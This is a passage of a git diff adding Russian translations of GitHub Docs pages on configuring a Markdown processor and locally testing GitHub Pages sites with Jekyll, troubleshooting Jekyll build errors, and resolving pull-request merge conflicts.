a/translations/ru-RU/content/pages/setting-up-a-github-pages-site-with-jekyll/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll.md b/translations/ru-RU/content/pages/setting-up-a-github-pages-site-with-jekyll/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll.md new file mode 100644 index 000000000000..0c0ffd0c667c --- /dev/null +++ b/translations/ru-RU/content/pages/setting-up-a-github-pages-site-with-jekyll/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll.md @@ -0,0 +1,40 @@ +--- +title: Настройка обработчика Markdown для сайта GitHub Pages с помощью Jekyll +intro: 'Вы можете выбрать обработчик Markdown, чтобы определить способ отрисовки Markdown на сайте {% data variables.product.prodname_pages %}.' +redirect_from: + - /articles/migrating-your-pages-site-from-maruku + - /articles/updating-your-markdown-processor-to-kramdown + - /articles/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll + - /github/working-with-github-pages/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll +product: '{% data reusables.gated-features.pages %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pages +shortTitle: Set Markdown processor +ms.openlocfilehash: 218877ee598afd47352d1e72a2ecb845f901c8b9 +ms.sourcegitcommit: fb047f9450b41b24afc43d9512a5db2a2b750a2a +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '145137857' +--- +Пользователи с разрешениями на запись для репозитория могут задать обработчик Markdown для сайта {% data variables.product.prodname_pages %}. + +{% data variables.product.prodname_pages %} поддерживает два обработчика Markdown: [kramdown](http://kramdown.gettalong.org/) и собственный обработчик Markdown {% data variables.product.prodname_dotcom %}, который используется для отрисовки [{% data variables.product.prodname_dotcom %} Flavored Markdown (GFM)](https://github.github.com/gfm/) в {% data variables.product.product_name %}. Дополнительные сведения см. в разделе [Сведения о написании и форматировании в {% data variables.product.prodname_dotcom %}](/articles/about-writing-and-formatting-on-github). + +{% data variables.product.prodname_dotcom %} Flavored Markdown поддерживает оба обработчика, но полное соответствие результатам, отображаемым в {% data variables.product.product_name %}, обеспечивает только наш обработчик GFM. + +{% data reusables.pages.navigate-site-repo %} +2. В репозитории перейдите к файлу *_config.yml*. +{% data reusables.repositories.edit-file %} +4. Найдите строку, начинающуюся с `markdown:`, и измените значение с `kramdown` на `GFM`. + ![Настройка Markdown в файле config.yml](/assets/images/help/pages/config-markdown-value.png) {% data reusables.files.write_commit_message %} {% data reusables.files.choose-commit-email %} {% data reusables.files.choose_commit_branch %} {% data reusables.files.propose_new_file %} + +## Дополнительные материалы + +- [Документация по kramdown](https://kramdown.gettalong.org/documentation.html) +- [Спецификация {% data variables.product.prodname_dotcom %} Flavored Markdown](https://github.github.com/gfm/) diff --git a/translations/ru-RU/content/pages/setting-up-a-github-pages-site-with-jekyll/testing-your-github-pages-site-locally-with-jekyll.md b/translations/ru-RU/content/pages/setting-up-a-github-pages-site-with-jekyll/testing-your-github-pages-site-locally-with-jekyll.md new file mode 100644 index 000000000000..a24a85fed31f --- /dev/null +++ b/translations/ru-RU/content/pages/setting-up-a-github-pages-site-with-jekyll/testing-your-github-pages-site-locally-with-jekyll.md @@ -0,0 +1,75 @@ +--- +title: Локальное тестирование сайта GitHub Pages с помощью Jekyll +intro: 'Вы можете создать сайт {% data variables.product.prodname_pages %} локально для предварительного просмотра и тестирования изменений сайта.' +redirect_from: + - /articles/setting-up-your-pages-site-locally-with-jekyll + - /articles/setting-up-your-github-pages-site-locally-with-jekyll + - /articles/testing-your-github-pages-site-locally-with-jekyll + - /github/working-with-github-pages/testing-your-github-pages-site-locally-with-jekyll +product: '{% data reusables.gated-features.pages %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pages +shortTitle: Test site locally with Jekyll +ms.openlocfilehash: 9db3a964ee38afa191f7fed31cfa032128460f48 +ms.sourcegitcommit: 3268914369fb29540e4d88ee5e56bc7a41f2a60e +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/26/2022 +ms.locfileid: '148111310' +--- +Тестировать сайт {% data variables.product.prodname_pages %} локально может любой пользователь с разрешениями на чтение для репозитория. + +## Предварительные требования + +Прежде чем тестировать сайт с помощью Jekyll, необходимо выполнить следующие действия: + - Установить [Jekyll](https://jekyllrb.com/docs/installation/). + - Создать сайт Jekyll. Дополнительные сведения см. в разделе [Создание сайта {% data variables.product.prodname_pages %} с помощью Jekyll](/articles/creating-a-github-pages-site-with-jekyll). + +{% data reusables.pages.recommend-bundler %} + +{% data reusables.pages.jekyll-install-troubleshooting %} + +## Локальное создание сайта + +{% data reusables.command_line.open_the_multi_os_terminal %} {% data reusables.pages.navigate-publishing-source %} +3. Выполните команду `bundle install`. +3. Запустите сайт Jekyll локально. + ```shell + $ bundle exec jekyll serve + > Configuration file: /Users/octocat/my-site/_config.yml + > Source: /Users/octocat/my-site + > Destination: /Users/octocat/my-site/_site + > Incremental build: disabled. Enable with --incremental + > Generating... + > done in 0.309 seconds. + > Auto-regeneration: enabled for '/Users/octocat/my-site' + > Configuration file: /Users/octocat/my-site/_config.yml + > Server address: http://127.0.0.1:4000/ + > Server running... press ctrl-c to stop. + ``` + {% note %} + + **Примечание:** Если вы установили Ruby 3.0 или более поздней версии (возможно, если вы установили версию по умолчанию с помощью Homebrew), на этом шаге может возникнуть ошибка. Это связано с тем, что эти версии Ruby больше не поставляются с `webrick` установленными. + + Чтобы устранить эту ошибку, попробуйте запустить `bundle add webrick`, а затем повторно запустите `bundle exec jekyll serve`. + {% endnote %} + +3. Чтобы выполнить предварительный просмотр сайта в веб-браузере, перейдите по адресу `http://localhost:4000`. + +## Обновление пакета {% data variables.product.prodname_pages %} + +Jekyll — это активный проект с открытым кодом, который регулярно обновляется. Если версия пакета `github-pages` на компьютере устарела относительно версии пакета `github-pages` на сервере {% data variables.product.prodname_pages %}, создаваемый локально сайт может выглядеть не так, как при публикации в {% data variables.product.product_name %}. Чтобы избежать этого, регулярно обновляйте пакет `github-pages` на компьютере. + +{% data reusables.command_line.open_the_multi_os_terminal %} +2. Обновите пакет `github-pages`. + - Если установлено средство увязки, выполните команду `bundle update github-pages`. + - Если средство увязки не установлено, выполните команду `gem update github-pages`. + +## Дополнительные материалы + +- [{% data variables.product.prodname_pages %}](http://jekyllrb.com/docs/github-pages/) в документации по Jekyll diff --git a/translations/ru-RU/content/pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites.md b/translations/ru-RU/content/pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites.md new file mode 100644 index 000000000000..e5ed638fa056 --- /dev/null +++ b/translations/ru-RU/content/pages/setting-up-a-github-pages-site-with-jekyll/troubleshooting-jekyll-build-errors-for-github-pages-sites.md @@ -0,0 +1,198 @@ +--- +title: Устранение ошибок сборки Jekyll для сайтов GitHub Pages +intro: 'Сообщения об ошибках в сборке Jekyll можно использовать для устранения неполадок в работе {% data variables.product.prodname_pages %}.' +redirect_from: + - /articles/page-build-failed-missing-docs-folder + - /articles/page-build-failed-invalid-submodule + - /articles/page-build-failed-missing-submodule + - /articles/page-build-failed-markdown-errors + - /articles/page-build-failed-config-file-error + - /articles/page-build-failed-unknown-tag-error + - /articles/page-build-failed-tag-not-properly-terminated + - /articles/page-build-failed-tag-not-properly-closed + - /articles/page-build-failed-file-does-not-exist-in-includes-directory + - /articles/page-build-failed-file-is-a-symlink + - /articles/page-build-failed-symlink-does-not-exist-within-your-sites-repository + - /articles/page-build-failed-file-is-not-properly-utf-8-encoded + - /articles/page-build-failed-invalid-post-date + - /articles/page-build-failed-invalid-sass-or-scss + - /articles/page-build-failed-invalid-highlighter-language + - /articles/page-build-failed-relative-permalinks-configured + - /articles/page-build-failed-syntax-error-in-for-loop + - /articles/page-build-failed-invalid-yaml-in-data-file + - /articles/page-build-failed-date-is-not-a-valid-datetime + - /articles/troubleshooting-github-pages-builds + - /articles/troubleshooting-jekyll-builds + - /articles/troubleshooting-jekyll-build-errors-for-github-pages-sites + - /github/working-with-github-pages/troubleshooting-jekyll-build-errors-for-github-pages-sites +product: '{% data reusables.gated-features.pages %}' +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pages +shortTitle: Troubleshoot Jekyll errors +ms.openlocfilehash: 224f626df144ad249a799767984118778202e7b4 +ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/11/2022 +ms.locfileid: '147883468' +--- +## Устранение ошибок сборки + +Если Jekyll обнаруживает ошибку при создании сайта {% data variables.product.prodname_pages %} локально или на {% data variables.product.product_name %}, вы можете использовать сообщения об ошибках для устранения неполадок. Дополнительные сведения о сообщениях об ошибках и способах их просмотра см. в статье [Об ошибках сборки Jekyll для сайтов {% data variables.product.prodname_pages %}](/articles/about-jekyll-build-errors-for-github-pages-sites). + +Если вы получили общее сообщение об ошибке, проверьте распространенные проблемы. +- Вы используете неподдерживаемые модули. Дополнительные сведения см. в статье [О {% data variables.product.prodname_pages %} и Jekyll](/articles/about-github-pages-and-jekyll#plugins).{% ifversion fpt or ghec %} +- Размер вашего репозитория превысил наши ограничения на размер репозитория. Дополнительные сведения см. в статье [Какова моя дисковая квота?](/articles/what-is-my-disk-quota){% endif %} +- Вы изменили параметр `source` в файле *_config.yml*. {% ifversion pages-custom-workflow %}Если публикация сайта выполняется из ветви, {% endif %}{% data variables.product.prodname_pages %} переопределит этот параметр во время сборки. +- В именах ваших опубликованных файлов содержится неподдерживаемое двоеточие (`:`). + +При получении конкретного сообщения об ошибке ознакомьтесь с информацией об устранении неполадок для сообщения об ошибке ниже. + +{% ifversion pages-custom-workflow %}После исправления ошибок активируйте новую сборку, для этого отправьте изменения в исходную ветвь своего сайта (если выполняете публикацию из ветви) или активируйте пользовательский рабочий процесс {% data variables.product.prodname_actions %} (если выполняете публикацию с помощью {% data variables.product.prodname_actions %}).{% else %}После исправления ошибок отправьте изменения в источник публикации своего сайта, чтобы активировать новую сборку в {% data variables.product.product_name %}.{% endif %} + +## Ошибка файла конфигурации + +Эта ошибка означает, что ваш сайт не удалось создать, так как файл *_config.yml* содержит синтаксические ошибки. + +Чтобы устранить неполадки, убедитесь, что файл *_config.yml* соответствует следующим правилам: + +{% data reusables.pages.yaml-rules %} + +{% data reusables.pages.yaml-linter %} + +## Дата не является допустимой датой и временем + +Эта ошибка означает, что на одной из страниц вашего сайта указана недопустимая дата и время. + +Чтобы устранить неполадки, найдите файл в сообщении об ошибке и макетах файла для вызовов любых фильтров Liquid, связанных с датой. Убедитесь, что любые переменные, переданные в фильтры Liquid, связанные с датой, имеют значения во всех случаях и никогда не передают `nil` или `""`. Дополнительные сведения см. в статье [Фильтры Liquid](https://help.shopify.com/en/themes/liquid/filters) в документации Liquid. + +## Файл не существует в каталоге includes + +Эта ошибка означает, что ваш код ссылается на файл, которого не существует в вашем каталоге *_includes*. + +{% data reusables.pages.search-for-includes %} Если какой-либо из файлов, на которые вы ссылались, отсутствует в каталоге *_includes*, скопируйте или переместите файлы в каталог *_includes*. + +## Файл является символьной ссылкой + +Эта ошибка означает, что ваш код ссылается на файл символьной ссылки, который отсутствует среди опубликованных файлов для вашего сайта. + +{% data reusables.pages.search-for-includes %} Если какие-либо из файлов, на которые вы ссылаетесь, являются символьными ссылками, скопируйте или переместите файлы в каталог *_includes*. + +## Файл неправильно закодирован в формате UTF-8 + +Эта ошибка означает, что вы использовали символы, отличные от латинских, например `日本語`, не сообщив компьютеру, что следует ожидать эти символы. + +Для устранения неполадок принудительно примените кодировку UTF-8, добавив в файл *_config.yml* следующую строку: +```yaml +encoding: UTF-8 +``` + +## Недопустимый язык маркера + +Эта ошибка означает, что в файле конфигурации указан любой маркер синтаксиса, кроме [Rouge](https://github.com/jneen/rouge) или [Pygments](http://pygments.org/). + +Для устранения неполадок обновите файл *_config.yml*, указав [Rouge](https://github.com/jneen/rouge) или [Pygments](http://pygments.org/). Дополнительные сведения см. в статье [О {% data variables.product.product_name %} и Jekyll](/articles/about-github-pages-and-jekyll#syntax-highlighting). + +## Недопустимая дата публикации + +Эта ошибка означает, что публикация на вашем сайте содержит недопустимую дату в имени файла или на титульном листе YAML. + +Чтобы устранить неполадки, убедитесь, что все даты имеют формат ГГГГ-ММ-ДД ЧЧ:ММ:СС для UTC и являются действительными календарными датами. Чтобы указать часовой пояс со смещением от UTC, используйте формат ГГГГ-ММ-ДД ЧЧ:ММ:СС +/-ТТТТ, например `2014-04-18 11:30:00 +0800`. + +При указании формата даты в файле *_config.yml* убедитесь, что он правильный. + +## Недопустимый Sass или SCSS + +Эта ошибка означает, что ваш репозиторий содержит файл Sass или SCSS с недопустимым содержимым. + +Чтобы устранить неполадки, просмотрите номер строки, указанный в сообщении об ошибке для недопустимого Sass или SCSS. Чтобы предотвратить будущие ошибки, установите анализатор кода Sass или SCSS для своего предпочитаемого текстового редактора. + +## Недопустимый подмодуль + +Эта ошибка означает, что ваш репозиторий содержит подмодуль, который не был должным образом инициализирован. + +{% data reusables.pages.remove-submodule %} + +Если необходимо использовать подмодуль, убедитесь, что вы используете `https://` при ссылке на подмодуль (а не `http://`) и что подмодуль находится в общедоступном репозитории. + +## Недопустимый YAML в файле данных + +Эта ошибка означает, что один или несколько файлов в папке *_data* содержат недопустимый код YAML. + +Чтобы устранить неполадки, убедитесь, что файлы YAML в вашей папке *_data* соответствуют следующим правилам: + +{% data reusables.pages.yaml-rules %} + +{% data reusables.pages.yaml-linter %} + +Дополнительные сведения о файлах данных Jekyll см. в статье [Файлы данных](https://jekyllrb.com/docs/datafiles/) документации по Jekyll. + +## Ошибки Markdown + +Эта ошибка означает, что ваш репозиторий содержит ошибки Markdown. + +Чтобы устранить неполадки, убедитесь, что используется поддерживаемый процессор Markdown. Дополнительные сведения см. в статье [Настройка обработчика Markdown для вашего сайта {% data variables.product.prodname_pages %} с помощью Jekyll](/articles/setting-a-markdown-processor-for-your-github-pages-site-using-jekyll). + +Затем убедитесь, что файл в сообщении об ошибке использует допустимый синтаксис Markdown. Дополнительные сведения см. в статье [Markdown: синтаксис](https://daringfireball.net/projects/markdown/syntax) на сайте Daring Fireball. + +## Отсутствует папка с документами + +Эта ошибка означает, что в качестве источника публикации выбрана папка `docs` ​​в ветке, но в корне репозитория этой ветки нет папки `docs`. + +Чтобы устранить неполадки, если ваша папка `docs` была случайно перемещена, попробуйте переместить папку `docs` обратно в корень вашего репозитория в той ветви, которая выбрана для источника публикации. Если папка `docs` случайно удалена, вы можете сделать следующее: +- Использовать Git, чтобы отменить или откатить удаление. Дополнительные сведения см. в статье [git-revert](https://git-scm.com/docs/git-revert.html) документации Git. +- Создать новую папку `docs` ​​в корне репозитория в той ветви, которая выбрана для источника публикации, и добавить в нее исходные файлы вашего сайта. Дополнительные сведения см. в статье "[Создание файлов](/articles/creating-new-files)". +- Изменить источник публикации. Дополнительные сведения см. в статье [Настройка источника публикации для {% data variables.product.prodname_pages %}](/articles/configuring-a-publishing-source-for-github-pages). + +## Отсутствующий подмодуль + +Эта ошибка означает, что ваш репозиторий включает подмодуль, которого не существует или который не был должным образом инициализирован. + +{% data reusables.pages.remove-submodule %} + +Если необходимо использовать подмодуль, инициализируйте его. Дополнительные сведения см. в статье [Инструменты Git — подмодули](https://git-scm.com/book/en/v2/Git-Tools-Submodules) в книге _Pro Git_. + +## Настроены относительные постоянные ссылки + +Эти ошибки означают, что в вашем файле *_config.yml* есть относительные постоянные ссылки, которые не поддерживаются {% data variables.product.prodname_pages %}. + +Постоянные ссылки — это постоянные URL-адреса, которые ссылаются на определенную страницу вашего сайта. Абсолютные постоянные ссылки начинаются с корня сайта, а относительные постоянные ссылки начинаются с папки, содержащей страницу, на которую указывает ссылка. {% data variables.product.prodname_pages %} и Jekyll больше не поддерживают относительные постоянные ссылки. Дополнительные сведения о постоянных ссылках см. в статье [Постоянные ссылки](https://jekyllrb.com/docs/permalinks/) в документации по Jekyll. + +Чтобы устранить неполадки, удалите строку `relative_permalinks` ​​из файла *_config.yml* и переформатируйте все относительные постоянные ссылки на своем сайте, указав абсолютные постоянные ссылки. Дополнительные сведения см. в разделе [Редактирование файлов](/repositories/working-with-files/managing-files/editing-files). + +## Символьной ссылки не существует в репозитории вашего сайта + +Эта ошибка означает, что ваш сайт содержит символьную ссылку, которая отсутствует среди опубликованных файлов для сайта. Дополнительные сведения о символьных ссылках см. в статье [Символьная ссылка](https://en.wikipedia.org/wiki/Symbolic_link) в Википедии. + +Чтобы устранить неполадки, определите, используется ли файл в сообщении об ошибке для создания вашего сайта. Если не используется или если не нужно, чтобы файл был символьной ссылкой, удалите файл. Если файл символьной ссылки необходим для создания сайта, убедитесь, что файл или каталог, на который она ссылается, находится среди опубликованных файлов для вашего сайта. Чтобы включить внешние ресурсы, рекомендуем использовать {% ifversion fpt or ghec %}`git submodule` или {% endif %}сторонний диспетчер пакетов, например [Bower](https://bower.io/).{% ifversion fpt or ghec %} Дополнительные сведения см. в статье [Использование подмодулей с {% data variables.product.prodname_pages %}](/articles/using-submodules-with-github-pages).{% endif %} + +## Синтаксическая ошибка в цикле for + +Эта ошибка означает, что ваш код содержит недопустимый синтаксис в объявлении цикла `for`. + +Чтобы устранить неполадки, убедитесь, что все циклы `for` в файле в сообщении об ошибке содержат правильный синтаксис. Дополнительные сведения о правильном синтаксисе циклов `for` см. в статье [Теги итерации](https://help.shopify.com/en/themes/liquid/tags/iteration-tags#for) документации Liquid. + +## Тег не закрыт должным образом + +Это сообщение об ошибке означает, что ваш код содержит логический тег, который не закрыт должным образом. Например, {% raw %}`{% capture example_variable %}` должен быть закрыт `{% endcapture %}`{% endraw %}. + +Чтобы устранить неполадки, убедитесь, что все логические теги в файле в сообщении об ошибке правильно закрыты. Дополнительные сведения см. в статье [Теги Liquid](https://help.shopify.com/en/themes/liquid/tags) документации Liquid. + +## Тег не завершен должным образом + +Эта ошибка означает, что ваш код содержит выходной тег, который не завершен должным образом. Например, {% raw %}`{{ page.title }` вместо `{{ page.title }}`{% endraw %}. + +Чтобы устранить неполадки, убедитесь, что все выходные теги в файле в сообщении об ошибке заканчиваются на `}}`. Дополнительные сведения см. в статье [Объекты Liquid](https://help.shopify.com/en/themes/liquid/objects) в документации по Liquid. + +## Ошибка неизвестного тега + +Эта ошибка означает, что ваш код содержит нераспознанный тег Liquid. + +Чтобы устранить неполадки, убедитесь, что все теги Liquid в файле в сообщении об ошибке соответствуют переменным Jekyll по умолчанию, а в именах тегов нет опечаток. Список переменных по умолчанию см. в статье [Переменные](https://jekyllrb.com/docs/variables/) документации Jekyll. + +Неподдерживаемые модули являются распространенным источником нераспознанных тегов. Если вы используете на своем сайте неподдерживаемый подключаемый модуль, создав свой сайт локально и отправив свои статические файлы в {% data variables.product.product_name %}, убедитесь, что подключаемый модуль не вводит теги, которых нет в переменных по умолчанию Jekyll. Список поддерживаемых подключаемых модулей см. в статье [О {% data variables.product.prodname_pages %} и Jekyll](/articles/about-github-pages-and-jekyll#plugins). diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/about-merge-conflicts.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/about-merge-conflicts.md new file mode 100644 index 000000000000..2282f02cf430 --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/about-merge-conflicts.md @@ -0,0 +1,50 @@ +--- +title: О конфликтах слияния +intro: 'Конфликты слияния происходят при слиянии ветвей, имеющих конкурирующие фиксации, и Git требуется ваша помощь, чтобы принять решение относительно того, какие изменения следует включить в окончательное слияние.' +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/addressing-merge-conflicts/about-merge-conflicts + - /articles/about-merge-conflicts + - /github/collaborating-with-issues-and-pull-requests/about-merge-conflicts + - /github/about-merge-conflicts + - /github/collaborating-with-pull-requests/addressing-merge-conflicts/about-merge-conflicts +versions: + fpt: '*' + ghec: '*' + ghes: '*' + ghae: '*' +topics: + - Pull requests +ms.openlocfilehash: 816830ccd05a29803667c163f850fa5a086a49cd +ms.sourcegitcommit: 5f40f9341dd1e953f4be8d1642f219e628e00cc8 +ms.translationtype: MT +ms.contentlocale: ru-RU +ms.lasthandoff: 10/04/2022 +ms.locfileid: '148009086' +--- +Git часто может разрешать различия между ветвями и автоматически объединять их. Как правило, изменения находятся в разных строках или даже в разных файлах, что упрощает понимание слияния компьютерами. Однако иногда возникают конфликтующие изменения, которые Git не может устранить без вашей помощи. Часто конфликты слияния возникают, когда участники вносят разные изменения в одну строку одного файла или когда один участник редактирует файл, а другой — удаляет тот же файл. + +Прежде чем объединить запрос на вытягивание на {% data variables.product.product_name %}, необходимо разрешить все конфликты слияния. Если в запросе на вытягивание возник конфликт слияния между ветвью сравнения и базовой ветвью, вы можете просмотреть список файлов с конфликтующими изменениями над кнопкой **Слияние запроса на вытягивание**. Кнопка **Слияние запроса на вытягивание** будет отключена, пока вы не устраните все конфликты между ветвью сравнения и базовой ветвью. + +![Сообщение об ошибке из-за конфликта в слияния](/assets/images/help/pull_requests/merge_conflict_error_on_github.png) + +## Разрешение конфликтов слияния + +Чтобы устранить конфликт слияния, необходимо вручную отредактировать конфликтующий файл и выбрать изменения, которые необходимо сохранить в окончательном слиянии. Существует несколько разных способов устранения конфликта слияния: + +- Если конфликт слияния вызван конкурирующими изменениями строк, например при внесении разных изменений в одну строку одного файла в разных ветвях в репозитории Git, его можно разрешить на {% data variables.product.product_name %} с помощью редактора конфликтов. Дополнительные сведения см. на странице [Устранение конфликта слияния на {% data variables.product.prodname_dotcom %}](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github). +- Для остальных типов конфликтов слияния необходимо разрешить конфликт слияния в локальном клоне репозитория и отправить изменение в ветвь на {% data variables.product.product_name %}. Для отправки изменений можно использовать командную строку или средство, например [{% data variables.product.prodname_desktop %}](https://desktop.github.com/). Дополнительные сведения см. в статье [Устранение конфликта слияния с помощью командной строки](/github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line). + +Если в командной строке есть конфликт слияния, локальные изменения нельзя отправлять в {% data variables.product.product_name %}, пока не будет разрешен конфликт слияния локально на компьютере. При попытке объединения ветвей в командной строке с конфликтом слияния появится сообщение об ошибке. Дополнительные сведения см. в статье [Устранение конфликта слияния с помощью командной строки](/articles/resolving-a-merge-conflict-using-the-command-line/). +```shell +$ git merge BRANCH-NAME +> Auto-merging styleguide.md +> CONFLICT (content): Merge conflict in styleguide.md +> Automatic merge failed; fix conflicts and then commit the result +``` + +## Дополнительные материалы + +- [Сведения о слиянии запросов на вытягивание](/articles/about-pull-request-merges/) +- [Сведения о запросах на вытягивание](/articles/about-pull-requests/) +- [Разрешение конфликта слияния с помощью командной строки](/github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line) +- [Разрешение конфликта слияния на GitHub](/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github) diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/index.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/index.md new file mode 100644 index 000000000000..6c69826f451c --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/index.md @@ -0,0 +1,27 @@ +--- +title: Разрешение конфликтов слияния +intro: 'Если изменения конфликтуют с базовой ветвью, необходимо устранить конфликты слияния, прежде чем можно будет объединить изменения в запросе на вытягивание.' +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/addressing-merge-conflicts + - /articles/addressing-merge-conflicts + - /github/collaborating-with-pull-requests/addressing-merge-conflicts +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +children: + - /about-merge-conflicts + - /resolving-a-merge-conflict-on-github + - /resolving-a-merge-conflict-using-the-command-line +shortTitle: Address merge conflicts +ms.openlocfilehash: 1b4fc4964cc804f321ab085f8f996fffc649323b +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145137841' +--- + diff --git a/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md new file mode 100644 index 000000000000..a93dc1b85543 --- /dev/null +++ b/translations/ru-RU/content/pull-requests/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github.md @@ -0,0 +1,67 @@ +--- +title: Разрешение конфликта слияния в GitHub +intro: 'Вы можете устранить простые конфликты слияния, которые конкурируют с изменениями строк на сайте GitHub, с помощью редактора конфликтов.' +redirect_from: + - /github/collaborating-with-issues-and-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github + - /articles/resolving-a-merge-conflict-on-github + - /github/collaborating-with-issues-and-pull-requests/resolving-a-merge-conflict-on-github + - /github/resolving-a-merge-conflict-on-github + - /github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-on-github +versions: + fpt: '*' + ghes: '*' + ghae: '*' + ghec: '*' +topics: + - Pull requests +shortTitle: Resolve merge conflicts +ms.openlocfilehash: 48613d8c8974d14a1de70e0dee5a7f4819d37fd9 +ms.sourcegitcommit: 47bd0e48c7dba1dde49baff60bc1eddc91ab10c5 +ms.translationtype: HT +ms.contentlocale: ru-RU +ms.lasthandoff: 09/05/2022 +ms.locfileid: '145137838' +--- +Конфликты слияния можно разрешать только в {% data variables.product.product_name %}, вызванных конкурирующими изменениями строк, например при внесении разных изменений в одну строку одного файла в разных ветвях в репозитории Git. Остальные типы конфликтов слияния необходимо разрешить локально в командной строке. Дополнительные сведения см. в статье [Устранение конфликта слияния с помощью командной строки](/articles/resolving-a-merge-conflict-using-the-command-line/). + +{% ifversion ghes or ghae %} Если администратор сайта отключает редактор конфликтов слияния для запросов на вытягивание между репозиториями, редактор конфликтов невозможно использовать в {% data variables.product.product_name %}, а конфликты слияния необходимо разрешать в командной строке. Например, если редактор конфликтов слияния отключен, его невозможно использовать в запросе на вытягивание между вилкой и вышестоящим репозиторием. +{% endif %} + +{% warning %} + +**Предупреждение.** При разрешении конфликта слияния в {% data variables.product.product_name %} вся [базовая ветвь](/github/getting-started-with-github/github-glossary#base-branch) запроса на вытягивание объединяется в [главную ветвь](/github/getting-started-with-github/github-glossary#head-branch). Убедитесь, что вам действительно нужно зафиксировать эту ветвь. Если главная ветвь является ветвью репозитория по умолчанию, вам будет предоставлена возможность создать новую ветвь, которая будет главной для запроса на вытягивание. Если главная ветвь защищена, вы не сможете объединить в нее разрешение конфликтов, поэтому вы получите подсказку для создания новой главной ветви. Дополнительные сведения см. в разделе [Сведения о защищенных ветвях](/github/administering-a-repository/about-protected-branches). + +{% endwarning %} + +{% data reusables.repositories.sidebar-pr %} +1. В списке "Запросы на вытягивание" щелкните запрос на вытягивание вместе с конфликтом слияния, который вы хотите разрешить. +1. В нижней части запроса на вытягивание нажмите кнопку **Разрешить конфликты**. +![Кнопка для разрешения конфликтов слияния](/assets/images/help/pull_requests/resolve-merge-conflicts-button.png) + + {% tip %} + + **Совет.** Если кнопка **Разрешить конфликты** отключена, это означает, что конфликт слияния запроса на вытягивание является слишком сложным для разрешения в {% data variables.product.product_name %}{% ifversion ghes or ghae %} или администратор сайта отключил редактор конфликтов для запросов на вытягивание между репозиториями{% endif %}. Вам необходимо разрешить конфликт слияния с помощью альтернативного клиента Git или использования Git в командной строке. Дополнительные сведения см. в статье [Устранение конфликта слияния с помощью командной строки](/github/collaborating-with-pull-requests/addressing-merge-conflicts/resolving-a-merge-conflict-using-the-command-line). + + {% endtip %} {% data reusables.pull_requests.decide-how-to-resolve-competing-line-change-merge-conflict %} ![Просмотр примера конфликта слияния с метками конфликтов](/assets/images/help/pull_requests/view-merge-conflict-with-markers.png) +1. Если в файле имеется несколько конфликтов слияния, прокрутите вниз до следующего набора меток конфликтов и повторите шаги четыре и пять, чтобы устранить конфликт слияния. +1. После устранения всех конфликтов в файле нажмите кнопку **Пометить как разрешенный**. + ![Нажмите кнопку "Пометить как разрешенный"](/assets/images/help/pull_requests/mark-as-resolved-button.png) +1. Если у вас есть несколько файлов с конфликтом, в левой части страницы в разделе "Конфликтующие файлы" выберите следующий файл, который нужно изменить, и повторите шаги 4–7, пока все конфликты слияния запроса на вытягивание не будут устранены. + ![Выберите следующий конфликтующий файл (если это применимо)](/assets/images/help/pull_requests/resolve-merge-conflict-select-conflicting-file.png) +1. После устранения всех конфликтов слияния нажмите **Зафиксировать слияние**. Это объединит всю базовую ветвь в главную ветвь. + ![Кнопка для разрешения конфликтов слияния](/assets/images/help/pull_requests/merge-conflict-commit-changes.png) +1. При появлении подсказки выполните проверку ветви, для которой выполняется фиксация. + + Если главная ветвь является ветвью репозитория по умолчанию, можно либо обновить ее, добавив изменения, внесенные для устранения конфликта, либо создать новую ветвь и использовать ее в качестве главной ветви запроса на вытягивание. + ![Подсказка для просмотра ветви, которая будет обновлена](/assets/images/help/pull_requests/conflict-resolution-merge-dialog-box.png) + + Если вы решили создать новую ветвь, введите для нее имя. + + Если главная ветвь запроса на вытягивание защищена, необходимо создать новую ветвь. У вас не будет возможности обновить защищенную ветвь. + + Нажмите **Создать ветвь и обновить запрос на вытягивание** или **Все понятно, продолжить обновление 